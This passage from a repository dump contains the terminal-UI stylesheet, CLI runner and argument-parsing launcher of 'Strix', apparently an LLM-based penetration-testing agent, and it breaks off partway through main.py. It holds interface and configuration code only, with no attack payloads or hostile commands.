    "content": "Screen {\n    background: #000000;\n    color: #d4d4d4;\n}\n\n.screen--selection {\n    background: #2d3d2f;\n    color: #e5e5e5;\n}\n\nToastRack {\n    dock: top;\n    align: right top;\n    margin-bottom: 0;\n    margin-top: 1;\n}\n\nToast {\n    width: 25;\n    background: #000000;\n    border-left: outer #22c55e;\n}\n\nToast.-information .toast--title {\n    color: #22c55e;\n}\n\n#splash_screen {\n    height: 100%;\n    width: 100%;\n    background: #000000;\n    color: #22c55e;\n    align: center middle;\n    content-align: center middle;\n    text-align: center;\n}\n\n#splash_content {\n    width: auto;\n    height: auto;\n    background: transparent;\n    text-align: center;\n    content-align: center middle;\n    padding: 2;\n}\n\n#main_container {\n    height: 100%;\n    padding: 0;\n    margin: 0;\n    background: #000000;\n}\n\n#content_container {\n    height: 1fr;\n    padding: 0;\n    background: transparent;\n}\n\n#sidebar {\n    width: 20%;\n    background: transparent;\n    margin-left: 1;\n}\n\n#sidebar.-hidden {\n    display: none;\n}\n\n#agents_tree {\n    height: 1fr;\n    background: transparent;\n    border: round #333333;\n    border-title-color: #a8a29e;\n    border-title-style: bold;\n    padding: 1;\n    margin-bottom: 0;\n}\n\n#stats_scroll {\n    height: auto;\n    max-height: 15;\n    background: transparent;\n    padding: 0;\n    margin: 0;\n    border: round #333333;\n    scrollbar-size: 0 0;\n}\n\n#stats_display {\n    height: auto;\n    background: transparent;\n    padding: 0 1;\n    margin: 0;\n}\n\n#vulnerabilities_panel {\n    height: auto;\n    max-height: 12;\n    background: transparent;\n    padding: 0;\n    margin: 0;\n    border: round #333333;\n    overflow-y: auto;\n    scrollbar-background: #000000;\n    scrollbar-color: #333333;\n    scrollbar-corner-color: #000000;\n    scrollbar-size-vertical: 1;\n}\n\n#vulnerabilities_panel.hidden {\n    display: none;\n}\n\n.vuln-item {\n    height: auto;\n    width: 100%;\n    padding: 0 1;\n    background: transparent;\n    color: #d4d4d4;\n}\n\n.vuln-item:hover {\n    background: #1a1a1a;\n    color: #fafaf9;\n}\n\nVulnerabilityDetailScreen {\n    align: center middle;\n    background: #000000 80%;\n}\n\n#vuln_detail_dialog {\n    grid-size: 1;\n    grid-gutter: 1;\n    grid-rows: 1fr auto;\n    padding: 2 3;\n    width: 85%;\n    max-width: 110;\n    height: 85%;\n    max-height: 45;\n    border: solid #262626;\n    background: #0a0a0a;\n}\n\n#vuln_detail_scroll {\n    height: 1fr;\n    background: transparent;\n    scrollbar-background: #0a0a0a;\n    scrollbar-color: #404040;\n    scrollbar-corner-color: #0a0a0a;\n    scrollbar-size: 1 1;\n    padding-right: 1;\n}\n\n#vuln_detail_content {\n    width: 100%;\n    background: transparent;\n    padding: 0;\n}\n\n#vuln_detail_buttons {\n    width: 100%;\n    height: auto;\n    align: right middle;\n    padding-top: 1;\n    margin: 0;\n    border-top: solid #1a1a1a;\n}\n\n#copy_vuln_detail {\n    width: auto;\n    min-width: 12;\n    height: auto;\n    background: transparent;\n    color: #525252;\n    border: none;\n    text-style: none;\n    margin: 0 1;\n    padding: 0 2;\n}\n\n#close_vuln_detail {\n    width: auto;\n    min-width: 10;\n    height: auto;\n    background: transparent;\n    color: #a3a3a3;\n    border: none;\n    text-style: none;\n    margin: 0;\n    padding: 0 2;\n}\n\n#copy_vuln_detail:hover, #copy_vuln_detail:focus {\n    background: transparent;\n    color: #22c55e;\n    border: none;\n}\n\n#close_vuln_detail:hover, #close_vuln_detail:focus {\n    background: transparent;\n    color: #ffffff;\n    border: none;\n}\n\n#chat_area_container {\n    width: 80%;\n    background: transparent;\n}\n\n#chat_area_container.-full-width {\n    width: 100%;\n}\n\n#chat_history {\n    height: 1fr;\n    background: transparent;\n    border: round #0a0a0a;\n    padding: 0;\n    margin-bottom: 0;\n    margin-right: 0;\n    scrollbar-background: #000000;\n    scrollbar-color: #1a1a1a;\n    scrollbar-corner-color: #000000;\n    scrollbar-size: 1 1;\n}\n\n#agent_status_display {\n    height: 1;\n    background: transparent;\n    margin: 0;\n    padding: 0 1;\n}\n\n#agent_status_display.hidden {\n    display: none;\n}\n\n#status_text {\n    width: 1fr;\n    height: 100%;\n    background: transparent;\n    color: #a3a3a3;\n    text-align: left;\n    content-align: left middle;\n    text-style: none;\n    margin: 0;\n    padding: 0;\n}\n\n#keymap_indicator {\n    width: auto;\n    height: 100%;\n    background: transparent;\n    color: #737373;\n    text-align: right;\n    content-align: right middle;\n    text-style: none;\n    margin: 0;\n    padding: 0;\n}\n\n#chat_input_container {\n    height: 3;\n    background: transparent;\n    border: round #333333;\n    margin-right: 0;\n    padding: 0;\n    layout: horizontal;\n    align-vertical: top;\n}\n\n#chat_input_container:focus-within {\n    border: round #22c55e;\n}\n\n#chat_input_container:focus-within #chat_prompt {\n    color: #22c55e;\n    text-style: bold;\n}\n\n#chat_prompt {\n    width: auto;\n    height: 100%;\n    padding: 0 0 0 1;\n    color: #737373;\n    content-align-vertical: top;\n}\n\n#chat_history:focus {\n    border: round #22c55e;\n}\n\n#chat_input {\n    width: 1fr;\n    height: 100%;\n    background: transparent;\n    border: none;\n    color: #d4d4d4;\n    padding: 0;\n    margin: 0;\n}\n\n#chat_input:focus {\n    border: none;\n}\n\n#chat_input .text-area--cursor-line {\n    background: transparent;\n}\n\n#chat_input:focus .text-area--cursor-line {\n    background: transparent;\n}\n\n#chat_input > .text-area--placeholder {\n    color: #525252;\n    text-style: italic;\n}\n\n#chat_input > .text-area--cursor {\n    color: #22c55e;\n    background: #22c55e;\n}\n\n.chat-placeholder {\n    width: 100%;\n    height: 100%;\n    content-align: center middle;\n    text-align: center;\n    color: #737373;\n    text-style: italic;\n}\n\n.chat-content {\n    margin: 0 !important;\n    margin-top: 0 !important;\n    margin-bottom: 0 !important;\n    padding: 0 1;\n    background: transparent;\n    width: 100%;\n}\n\n.chat-message {\n    margin-bottom: 0;\n    padding: 0;\n    background: transparent;\n    width: 100%;\n}\n\n.user-message {\n    color: #e5e5e5;\n    border-left: thick #3b82f6;\n    padding-left: 1;\n    margin-bottom: 1;\n}\n\n.tool-call {\n    margin-top: 1;\n    margin-bottom: 0;\n    padding: 0 1;\n    background: transparent;\n    border: none;\n    width: 100%;\n}\n\n.tool-call.status-completed {\n    background: transparent;\n    margin-top: 1;\n    margin-bottom: 0;\n}\n\n.tool-call.status-running {\n    background: transparent;\n    margin-top: 1;\n    margin-bottom: 0;\n}\n\n.tool-call.status-failed,\n.tool-call.status-error {\n    background: transparent;\n    margin-top: 1;\n    margin-bottom: 0;\n}\n\n.browser-tool,\n.terminal-tool,\n.python-tool,\n.agents-graph-tool,\n.file-edit-tool,\n.proxy-tool,\n.notes-tool,\n.thinking-tool,\n.web-search-tool,\n.scan-info-tool,\n.subagent-info-tool {\n    margin-top: 1;\n    margin-bottom: 0;\n    background: transparent;\n}\n\n.finish-tool,\n.reporting-tool {\n    margin-top: 1;\n    margin-bottom: 0;\n    background: transparent;\n}\n\n.browser-tool.status-completed,\n.browser-tool.status-running,\n.terminal-tool.status-completed,\n.terminal-tool.status-running,\n.python-tool.status-completed,\n.python-tool.status-running,\n.agents-graph-tool.status-completed,\n.agents-graph-tool.status-running,\n.file-edit-tool.status-completed,\n.file-edit-tool.status-running,\n.proxy-tool.status-completed,\n.proxy-tool.status-running,\n.notes-tool.status-completed,\n.notes-tool.status-running,\n.thinking-tool.status-completed,\n.thinking-tool.status-running,\n.web-search-tool.status-completed,\n.web-search-tool.status-running,\n.scan-info-tool.status-completed,\n.scan-info-tool.status-running,\n.subagent-info-tool.status-completed,\n.subagent-info-tool.status-running {\n    background: transparent;\n    margin-top: 1;\n    margin-bottom: 0;\n}\n\n.finish-tool.status-completed,\n.finish-tool.status-running,\n.reporting-tool.status-completed,\n.reporting-tool.status-running {\n    background: transparent;\n    margin-top: 1;\n    margin-bottom: 0;\n}\n\nTree {\n    background: transparent;\n    color: #e7e5e4;\n    scrollbar-background: transparent;\n    scrollbar-color: #404040;\n    scrollbar-corner-color: transparent;\n    scrollbar-size: 1 1;\n}\n\nTree > .tree--label {\n    text-style: bold;\n    color: #a8a29e;\n    background: transparent;\n    padding: 0 1;\n    margin-bottom: 1;\n    border-bottom: solid #1a1a1a;\n    text-align: center;\n}\n\n.tree--node {\n    height: 1;\n    padding: 0;\n    margin: 0;\n}\n\n.tree--node-label {\n    color: #d6d3d1;\n    background: transparent;\n    text-style: none;\n    padding: 0 1;\n    margin: 0 1;\n}\n\n.tree--node:hover .tree--node-label {\n    background: transparent;\n    color: #fafaf9;\n    text-style: bold;\n    border-left: solid #a8a29e;\n}\n\n.tree--node.-selected .tree--node-label {\n    background: transparent;\n    color: #fafaf9;\n    text-style: bold;\n    border-left: heavy #d6d3d1;\n}\n\n.tree--node.-expanded .tree--node-label {\n    text-style: bold;\n    color: #fafaf9;\n    background: transparent;\n    border-left: solid #78716c;\n}\n\nTree:focus {\n    border: round #1a1a1a;\n}\n\nTree:focus > .tree--label {\n    color: #fafaf9;\n    text-style: bold;\n    background: transparent;\n}\n\n.tree--node .tree--node .tree--node-label {\n    color: #a8a29e;\n    padding-left: 2;\n    border: none;\n    background: transparent;\n    margin-left: 1;\n}\n\n.tree--node .tree--node:hover .tree--node-label {\n    background: transparent;\n    color: #e7e5e4;\n}\n\n.tree--node .tree--node .tree--node .tree--node-label {\n    color: #78716c;\n    padding-left: 3;\n    text-style: none;\n    border: none;\n    background: transparent;\n    margin-left: 2;\n}\n\nStopAgentScreen {\n    align: center middle;\n    background: $background 0%;\n}\n\n#stop_agent_dialog {\n    grid-size: 1;\n    grid-gutter: 1;\n    grid-rows: auto auto;\n    padding: 1;\n    width: 30;\n    height: auto;\n    border: round #a3a3a3;\n    background: #000000 98%;\n}\n\n#stop_agent_title {\n    color: #a3a3a3;\n    text-style: bold;\n    text-align: center;\n    width: 100%;\n    margin-bottom: 0;\n}\n\n#stop_agent_buttons {\n    grid-size: 2;\n    grid-gutter: 1;\n    grid-columns: 1fr 1fr;\n    width: 100%;\n    height: 1;\n}\n\n#stop_agent_buttons Button {\n    height: 1;\n    min-height: 1;\n    border: none;\n    text-style: bold;\n}\n\n#stop_agent {\n    background: transparent;\n    color: #ef4444;\n    border: none;\n}\n\n#stop_agent:hover, #stop_agent:focus {\n    background: #ef4444;\n    color: #ffffff;\n    border: none;\n}\n\n#cancel_stop {\n    background: transparent;\n    color: #737373;\n    border: none;\n}\n\n#cancel_stop:hover, #cancel_stop:focus {\n    background:rgb(54, 54, 54);\n    color: #ffffff;\n    border: none;\n}\n\nQuitScreen {\n    align: center middle;\n    background: $background 0%;\n}\n\n#quit_dialog {\n    grid-size: 1;\n    grid-gutter: 1;\n    grid-rows: auto auto;\n    padding: 1;\n    width: 24;\n    height: auto;\n    border: round #333333;\n    background: #000000 98%;\n}\n\n#quit_title {\n    color: #d4d4d4;\n    text-style: bold;\n    text-align: center;\n    width: 100%;\n    margin-bottom: 0;\n}\n\n#quit_buttons {\n    grid-size: 2;\n    grid-gutter: 1;\n    grid-columns: 1fr 1fr;\n    width: 100%;\n    height: 1;\n}\n\n#quit_buttons Button {\n    height: 1;\n    min-height: 1;\n    border: none;\n    text-style: bold;\n}\n\n#quit {\n    background: transparent;\n    color: #ef4444;\n    border: none;\n}\n\n#quit:hover, #quit:focus {\n    background: #ef4444;\n    color: #ffffff;\n    border: none;\n}\n\n#cancel {\n    background: transparent;\n    color: #737373;\n    border: none;\n}\n\n#cancel:hover, #cancel:focus {\n    background:rgb(54, 54, 54);\n    color: #ffffff;\n    border: none;\n}\n\nHelpScreen {\n    align: center middle;\n    background: $background 0%;\n}\n\n#dialog {\n    grid-size: 1;\n    grid-gutter: 0 1;\n    grid-rows: auto auto;\n    padding: 1 2;\n    width: 40;\n    height: auto;\n    border: round #22c55e;\n    background: #000000 98%;\n}\n\n#help_title {\n    color: #22c55e;\n    text-style: bold;\n    text-align: center;\n    width: 100%;\n    margin-bottom: 1;\n}\n\n#help_content {\n    color: #d4d4d4;\n    text-align: left;\n    width: 100%;\n    margin-bottom: 1;\n    padding: 0;\n    background: transparent;\n    text-style: none;\n}\n"
  },
  {
    "path": "strix/interface/cli.py",
    "content": "import atexit\nimport signal\nimport sys\nimport threading\nimport time\nfrom typing import Any\n\nfrom rich.console import Console\nfrom rich.live import Live\nfrom rich.panel import Panel\nfrom rich.text import Text\n\nfrom strix.agents.StrixAgent import StrixAgent\nfrom strix.llm.config import LLMConfig\nfrom strix.telemetry.tracer import Tracer, set_global_tracer\n\nfrom .utils import (\n    build_live_stats_text,\n    format_vulnerability_report,\n)\n\n\nasync def run_cli(args: Any) -> None:  # noqa: PLR0915\n    console = Console()\n\n    start_text = Text()\n    start_text.append(\"Penetration test initiated\", style=\"bold #22c55e\")\n\n    target_text = Text()\n    target_text.append(\"Target\", style=\"dim\")\n    target_text.append(\"  \")\n    if len(args.targets_info) == 1:\n        target_text.append(args.targets_info[0][\"original\"], style=\"bold white\")\n    else:\n        target_text.append(f\"{len(args.targets_info)} targets\", style=\"bold white\")\n        for target_info in args.targets_info:\n            target_text.append(\"\\n        \")\n            target_text.append(target_info[\"original\"], style=\"white\")\n\n    results_text = Text()\n    results_text.append(\"Output\", style=\"dim\")\n    results_text.append(\"  \")\n    results_text.append(f\"strix_runs/{args.run_name}\", style=\"#60a5fa\")\n\n    note_text = Text()\n    note_text.append(\"\\n\\n\", style=\"dim\")\n    note_text.append(\"Vulnerabilities will be displayed in real-time.\", style=\"dim\")\n\n    startup_panel = Panel(\n        Text.assemble(\n            start_text,\n            \"\\n\\n\",\n            target_text,\n            \"\\n\",\n            results_text,\n            note_text,\n        ),\n        title=\"[bold white]STRIX\",\n        title_align=\"left\",\n        border_style=\"#22c55e\",\n        padding=(1, 2),\n    )\n\n    console.print(\"\\n\")\n    console.print(startup_panel)\n    console.print()\n\n    scan_mode = getattr(args, \"scan_mode\", \"deep\")\n\n    scan_config = {\n        \"scan_id\": args.run_name,\n        \"targets\": args.targets_info,\n        \"user_instructions\": args.instruction or \"\",\n        \"run_name\": args.run_name,\n    }\n\n    llm_config = LLMConfig(scan_mode=scan_mode)\n    agent_config = {\n        \"llm_config\": llm_config,\n        \"max_iterations\": 300,\n    }\n\n    if getattr(args, \"local_sources\", None):\n        agent_config[\"local_sources\"] = args.local_sources\n\n    tracer = Tracer(args.run_name)\n    tracer.set_scan_config(scan_config)\n\n    def display_vulnerability(report: dict[str, Any]) -> None:\n        report_id = report.get(\"id\", \"unknown\")\n\n        vuln_text = format_vulnerability_report(report)\n\n        vuln_panel = Panel(\n            vuln_text,\n            title=f\"[bold red]{report_id.upper()}\",\n            title_align=\"left\",\n            border_style=\"red\",\n            padding=(1, 2),\n        )\n\n        console.print(vuln_panel)\n        console.print()\n\n    tracer.vulnerability_found_callback = display_vulnerability\n\n    def cleanup_on_exit() -> None:\n        from strix.runtime import cleanup_runtime\n\n        tracer.cleanup()\n        cleanup_runtime()\n\n    def signal_handler(_signum: int, _frame: Any) -> None:\n        tracer.cleanup()\n        sys.exit(1)\n\n    atexit.register(cleanup_on_exit)\n    signal.signal(signal.SIGINT, signal_handler)\n    signal.signal(signal.SIGTERM, signal_handler)\n    if hasattr(signal, \"SIGHUP\"):\n        signal.signal(signal.SIGHUP, signal_handler)\n\n    set_global_tracer(tracer)\n\n    def create_live_status() -> Panel:\n        status_text = Text()\n        status_text.append(\"Penetration test in progress\", style=\"bold #22c55e\")\n        status_text.append(\"\\n\\n\")\n\n        stats_text = build_live_stats_text(tracer, agent_config)\n        if stats_text:\n            status_text.append(stats_text)\n\n        return Panel(\n            status_text,\n            title=\"[bold white]STRIX\",\n            title_align=\"left\",\n            border_style=\"#22c55e\",\n            padding=(1, 2),\n        )\n\n    try:\n        console.print()\n\n        with Live(\n            create_live_status(), console=console, refresh_per_second=2, transient=False\n        ) as live:\n            stop_updates = threading.Event()\n\n            def update_status() -> None:\n                while not stop_updates.is_set():\n                    try:\n                        live.update(create_live_status())\n                        time.sleep(2)\n                    except Exception:  # noqa: BLE001\n                        break\n\n            update_thread = threading.Thread(target=update_status, daemon=True)\n            update_thread.start()\n\n            try:\n                agent = StrixAgent(agent_config)\n                result = await agent.execute_scan(scan_config)\n\n                if isinstance(result, dict) and not result.get(\"success\", True):\n                    error_msg = result.get(\"error\", \"Unknown error\")\n                    error_details = result.get(\"details\")\n                    console.print()\n                    console.print(f\"[bold red]Penetration test failed:[/] {error_msg}\")\n                    if error_details:\n                        console.print(f\"[dim]{error_details}[/]\")\n                    console.print()\n                    sys.exit(1)\n            finally:\n                stop_updates.set()\n                update_thread.join(timeout=1)\n\n    except Exception as e:\n        console.print(f\"[bold red]Error during penetration test:[/] {e}\")\n        raise\n\n    if tracer.final_scan_result:\n        console.print()\n\n        final_report_text = Text()\n        final_report_text.append(\"Penetration test summary\", style=\"bold #60a5fa\")\n\n        final_report_panel = Panel(\n            Text.assemble(\n                final_report_text,\n                \"\\n\\n\",\n                tracer.final_scan_result,\n            ),\n            title=\"[bold white]STRIX\",\n            title_align=\"left\",\n            border_style=\"#60a5fa\",\n            padding=(1, 2),\n        )\n\n        console.print(final_report_panel)\n        console.print()\n"
  },
  {
    "path": "strix/interface/main.py",
    "content": "#!/usr/bin/env python3\n\"\"\"\nStrix Agent Interface\n\"\"\"\n\nimport argparse\nimport asyncio\nimport logging\nimport shutil\nimport sys\nfrom pathlib import Path\nfrom typing import Any\n\nimport litellm\nfrom docker.errors import DockerException\nfrom rich.console import Console\nfrom rich.panel import Panel\nfrom rich.text import Text\n\nfrom strix.config import Config, apply_saved_config, save_current_config\nfrom strix.config.config import resolve_llm_config\nfrom strix.llm.utils import resolve_strix_model\n\n\napply_saved_config()\n\nfrom strix.interface.cli import run_cli  # noqa: E402\nfrom strix.interface.tui import run_tui  # noqa: E402\nfrom strix.interface.utils import (  # noqa: E402\n    assign_workspace_subdirs,\n    build_final_stats_text,\n    check_docker_connection,\n    clone_repository,\n    collect_local_sources,\n    generate_run_name,\n    image_exists,\n    infer_target_type,\n    process_pull_line,\n    rewrite_localhost_targets,\n    validate_config_file,\n    validate_llm_response,\n)\nfrom strix.runtime.docker_runtime import HOST_GATEWAY_HOSTNAME  # noqa: E402\nfrom strix.telemetry import posthog  # noqa: E402\nfrom strix.telemetry.tracer import get_global_tracer  # noqa: E402\n\n\nlogging.getLogger().setLevel(logging.ERROR)\n\n\ndef validate_environment() -> None:  # noqa: PLR0912, PLR0915\n    console = Console()\n    missing_required_vars = []\n    missing_optional_vars = []\n\n    strix_llm = Config.get(\"strix_llm\")\n    uses_strix_models = strix_llm and strix_llm.startswith(\"strix/\")\n\n    if not strix_llm:\n        missing_required_vars.append(\"STRIX_LLM\")\n\n    has_base_url = uses_strix_models or any(\n        [\n            Config.get(\"llm_api_base\"),\n            Config.get(\"openai_api_base\"),\n            Config.get(\"litellm_base_url\"),\n            Config.get(\"ollama_api_base\"),\n        ]\n    )\n\n    if not Config.get(\"llm_api_key\"):\n        missing_optional_vars.append(\"LLM_API_KEY\")\n\n    if not has_base_url:\n        missing_optional_vars.append(\"LLM_API_BASE\")\n\n    if not Config.get(\"perplexity_api_key\"):\n        missing_optional_vars.append(\"PERPLEXITY_API_KEY\")\n\n    if not Config.get(\"strix_reasoning_effort\"):\n        missing_optional_vars.append(\"STRIX_REASONING_EFFORT\")\n\n    if missing_required_vars:\n        error_text = Text()\n        error_text.append(\"MISSING REQUIRED ENVIRONMENT VARIABLES\", style=\"bold red\")\n        error_text.append(\"\\n\\n\", style=\"white\")\n\n        for var in missing_required_vars:\n            error_text.append(f\"• {var}\", style=\"bold yellow\")\n            error_text.append(\" is not set\\n\", style=\"white\")\n\n        if missing_optional_vars:\n            error_text.append(\"\\nOptional environment variables:\\n\", style=\"dim white\")\n            for var in missing_optional_vars:\n                error_text.append(f\"• {var}\", style=\"dim yellow\")\n                error_text.append(\" is not set\\n\", style=\"dim white\")\n\n        error_text.append(\"\\nRequired environment variables:\\n\", style=\"white\")\n        for var in missing_required_vars:\n            if var == \"STRIX_LLM\":\n                error_text.append(\"• \", style=\"white\")\n                error_text.append(\"STRIX_LLM\", style=\"bold cyan\")\n                error_text.append(\n                    \" - Model name to use with litellm (e.g., 'openai/gpt-5')\\n\",\n                    style=\"white\",\n                )\n\n        if missing_optional_vars:\n            error_text.append(\"\\nOptional environment variables:\\n\", style=\"white\")\n            for var in missing_optional_vars:\n                if var == \"LLM_API_KEY\":\n                    error_text.append(\"• \", style=\"white\")\n                    error_text.append(\"LLM_API_KEY\", style=\"bold cyan\")\n                    error_text.append(\n                        \" - API key for the LLM provider \"\n                        \"(not needed for local models, Vertex AI, AWS, etc.)\\n\",\n                        style=\"white\",\n                    )\n                elif var == \"LLM_API_BASE\":\n                    error_text.append(\"• \", style=\"white\")\n                    error_text.append(\"LLM_API_BASE\", style=\"bold cyan\")\n                    error_text.append(\n                        \" - Custom API base URL if using local models (e.g., Ollama, LMStudio)\\n\",\n                        style=\"white\",\n                    )\n                elif var == \"PERPLEXITY_API_KEY\":\n                    error_text.append(\"• \", style=\"white\")\n                    error_text.append(\"PERPLEXITY_API_KEY\", style=\"bold cyan\")\n                    error_text.append(\n                        \" - API key for Perplexity AI web search (enables real-time research)\\n\",\n                        style=\"white\",\n                    )\n                elif var == \"STRIX_REASONING_EFFORT\":\n                    error_text.append(\"• \", style=\"white\")\n                    error_text.append(\"STRIX_REASONING_EFFORT\", style=\"bold cyan\")\n                    error_text.append(\n                        \" - Reasoning effort level: none, minimal, low, medium, high, xhigh \"\n                        \"(default: high)\\n\",\n                        style=\"white\",\n                    )\n\n        error_text.append(\"\\nExample setup:\\n\", style=\"white\")\n        if uses_strix_models:\n            error_text.append(\"export STRIX_LLM='strix/gpt-5'\\n\", style=\"dim white\")\n        else:\n            error_text.append(\"export STRIX_LLM='openai/gpt-5'\\n\", style=\"dim white\")\n\n        if missing_optional_vars:\n            for var in missing_optional_vars:\n                if var == \"LLM_API_KEY\":\n                    error_text.append(\n                        \"export LLM_API_KEY='your-api-key-here'  \"\n                        \"# not needed for local models, Vertex AI, AWS, etc.\\n\",\n                        style=\"dim white\",\n                    )\n                elif var == \"LLM_API_BASE\":\n                    error_text.append(\n                        \"export LLM_API_BASE='http://localhost:11434'  \"\n                        \"# needed for local models only\\n\",\n                        style=\"dim white\",\n                    )\n                elif var == \"PERPLEXITY_API_KEY\":\n                    error_text.append(\n                        \"export PERPLEXITY_API_KEY='your-perplexity-key-here'\\n\", style=\"dim white\"\n                    )\n                elif var == \"STRIX_REASONING_EFFORT\":\n                    error_text.append(\n                        \"export STRIX_REASONING_EFFORT='high'\\n\",\n                        style=\"dim white\",\n                    )\n\n        panel = Panel(\n            error_text,\n            title=\"[bold white]STRIX\",\n            title_align=\"left\",\n            border_style=\"red\",\n            padding=(1, 2),\n        )\n\n        console.print(\"\\n\")\n        console.print(panel)\n        console.print()\n        sys.exit(1)\n\n\ndef check_docker_installed() -> None:\n    if shutil.which(\"docker\") is None:\n        console = Console()\n        error_text = Text()\n        error_text.append(\"DOCKER NOT INSTALLED\", style=\"bold red\")\n        error_text.append(\"\\n\\n\", style=\"white\")\n        error_text.append(\"The 'docker' CLI was not found in your PATH.\\n\", style=\"white\")\n        error_text.append(\n            \"Please install Docker and ensure the 'docker' command is available.\\n\\n\", style=\"white\"\n        )\n\n        panel = Panel(\n            error_text,\n            title=\"[bold white]STRIX\",\n            title_align=\"left\",\n            border_style=\"red\",\n            padding=(1, 2),\n        )\n        console.print(\"\\n\", panel, \"\\n\")\n        sys.exit(1)\n\n\nasync def warm_up_llm() -> None:\n    console = Console()\n\n    try:\n        model_name, api_key, api_base = resolve_llm_config()\n        litellm_model, _ = resolve_strix_model(model_name)\n        litellm_model = litellm_model or model_name\n\n        test_messages = [\n            {\"role\": \"system\", \"content\": \"You are a helpful assistant.\"},\n            {\"role\": \"user\", \"content\": \"Reply with just 'OK'.\"},\n        ]\n\n        llm_timeout = int(Config.get(\"llm_timeout\") or \"300\")\n\n        completion_kwargs: dict[str, Any] = {\n            \"model\": litellm_model,\n            \"messages\": test_messages,\n            \"timeout\": llm_timeout,\n        }\n        if api_key:\n            completion_kwargs[\"api_key\"] = api_key\n        if api_base:\n            completion_kwargs[\"api_base\"] = api_base\n\n        response = litellm.completion(**completion_kwargs)\n\n        validate_llm_response(response)\n\n    except Exception as e:  # noqa: BLE001\n        error_text = Text()\n        error_text.append(\"LLM CONNECTION FAILED\", style=\"bold red\")\n        error_text.append(\"\\n\\n\", style=\"white\")\n        error_text.append(\"Could not establish connection to the language model.\\n\", style=\"white\")\n        error_text.append(\"Please check your configuration and try again.\\n\", style=\"white\")\n        error_text.append(f\"\\nError: {e}\", style=\"dim white\")\n\n        panel = Panel(\n            error_text,\n            title=\"[bold white]STRIX\",\n            title_align=\"left\",\n            border_style=\"red\",\n            padding=(1, 2),\n        )\n\n        console.print(\"\\n\")\n        console.print(panel)\n        console.print()\n        sys.exit(1)\n\n\ndef get_version() -> str:\n    try:\n        from importlib.metadata import version\n\n        return version(\"strix-agent\")\n    except Exception:  # noqa: BLE001\n        return \"unknown\"\n\n\ndef parse_arguments() -> argparse.Namespace:\n    parser = argparse.ArgumentParser(\n        description=\"Strix Multi-Agent Cybersecurity Penetration Testing Tool\",\n        formatter_class=argparse.RawDescriptionHelpFormatter,\n        epilog=\"\"\"\nExamples:\n  # Web application penetration test\n  strix --target https://example.com\n\n  # GitHub repository analysis\n  strix --target https://github.com/user/repo\n  strix --target git@github.com:user/repo.git\n\n  # Local code analysis\n  strix --target ./my-project\n\n  # Domain penetration test\n  strix --target example.com\n\n  # IP address penetration test\n  strix --target 192.168.1.42\n\n  # Multiple targets (e.g., white-box testing with source and deployed app)\n  strix --target https://github.com/user/repo --target https://example.com\n  strix --target ./my-project --target https://staging.example.com --target https://prod.example.com\n\n  # Custom instructions (inline)\n  strix --target example.com --instruction \"Focus on authentication vulnerabilities\"\n\n  # Custom instructions (from file)\n  strix --target example.com --instruction-file ./instructions.txt\n  strix --target https://app.com --instruction-file /path/to/detailed_instructions.md\n        \"\"\",\n    )\n\n    parser.add_argument(\n        \"-v\",\n        \"--version\",\n        action=\"version\",\n        version=f\"strix {get_version()}\",\n    )\n\n    parser.add_argument(\n        \"-t\",\n        \"--target\",\n        type=str,\n        required=True,\n        action=\"append\",\n        help=\"Target to test (URL, repository, local directory path, domain name, or IP address). \"\n        \"Can be specified multiple times for multi-target scans.\",\n    )\n    parser.add_argument(\n        \"--instruction\",\n        type=str,\n        help=\"Custom instructions for the penetration test. This can be \"\n        \"specific vulnerability types to focus on (e.g., 'Focus on IDOR and XSS'), \"\n        \"testing approaches (e.g., 'Perform thorough authentication testing'), \"\n        \"test credentials (e.g., 'Use the following credentials to access the app: \"\n        \"admin:password123'), \"\n        \"or areas of interest (e.g., 'Check login API endpoint for security issues').\",\n    )\n\n    parser.add_argument(\n        \"--instruction-file\",\n        type=str,\n        help=\"Path to a file containing detailed custom instructions for the penetration test. \"\n        \"Use this option when you have lengthy or complex instructions saved in a file \"\n        \"(e.g., '--instruction-file ./detailed_instructions.txt').\",\n    )\n\n    parser.add_argument(\n        \"-n\",\n        \"--non-interactive\",\n        action=\"store_true\",\n        help=(\n            \"Run in non-interactive mode (no TUI, exits on completion). \"\n            \"Default is interactive mode with TUI.\"\n        ),\n    )\n\n    parser.add_argument(\n        \"-m\",\n        \"--scan-mode\",\n        type=str,\n        choices=[\"quick\", \"standard\", \"deep\"],\n        default=\"deep\",\n        help=(\n            \"Scan mode: \"\n            \"'quick' for fast CI/CD checks, \"\n            \"'standard' for routine testing, \"\n            \"'deep' for thorough security reviews (default). \"\n            \"Default: deep.\"\n        ),\n    )\n\n    parser.add_argument(\n        \"--config\",\n        type=str,\n        help=\"Path to a custom config file (JSON) to use instead of ~/.strix/cli-config.json\",\n    )\n\n    args = parser.parse_args()\n\n    if args.instruction and args.instruction_file:\n        parser.error(\n            \"Cannot specify both --instruction and --instruction-file. Use one or the other.\"\n        )\n\n    if args.instruction_file:\n        instruction_path = Path(args.instruction_file)\n        try:\n            with instruction_path.open(encoding=\"utf-8\") as f:\n                args.instruction = f.read().strip()\n                if not args.instruction:\n                    parser.error(f\"Instruction file '{instruction_path}' is empty\")\n        except Exception as e:  # noqa: BLE001\n            parser.error(f\"Failed to read instruction file '{instruction_path}': {e}\")\n\n    args.targets_info = []\n    for target in args.target:\n        try:\n            target_type, target_dict = infer_target_type(target)\n\n            if target_type == \"local_code\":\n                display_target = target_dict.get(\"target_path\", target)\n            else:\n                display_target = target\n\n            args.targets_info.append(\n                {\"type\": target_type, \"details\": target_dict, \"original\": display_target}\n            )\n        except ValueError:\n            parser.error(f\"Invalid target '{target}'\")\n\n    assign_workspace_subdirs(args.targets_info)\n    rewrite_localhost_targets(args.targets_info, HOST_GATEWAY_HOSTNAME)\n\n    return args\n\n\ndef display_completion_message(args: argparse.Namespace, results_path: Path) -> None:\n    console = Console()\n    tracer = get_global_tracer()\n\n    scan_completed = False\n    if tracer and tracer.scan_results:\n        scan_completed = tracer.scan_results.get(\"scan_completed\", False)\n\n    completion_text = Text()\n    if scan_completed:\n        completion_text.append(\"Penetration test completed\", style=\"bold #22c55e\")\n    else:\n        completion_text.append(\"SESSION ENDED\", style=\"bold #eab308\")\n\n    target_text = Text()\n    target_text.append(\"Target\", style=\"dim\")\n    target_text.append(\"  \")\n    if len(args.targets_info) == 1:\n        target_text.append(args.targets_info[0][\"original\"], style=\"bold white\")\n    else:\n        target_text.append(f\"{len(args.targets_info)} targets\", style=\"bold white\")\n        for target_info in args.targets_info:\n            target_text.append(\"\\n        \")\n            target_text.append(target_info[\"original\"], style=\"white\")\n\n    stats_text = build_final_stats_text(tracer)\n\n    panel_parts = [completion_text, \"\\n\\n\", target_text]\n\n    if 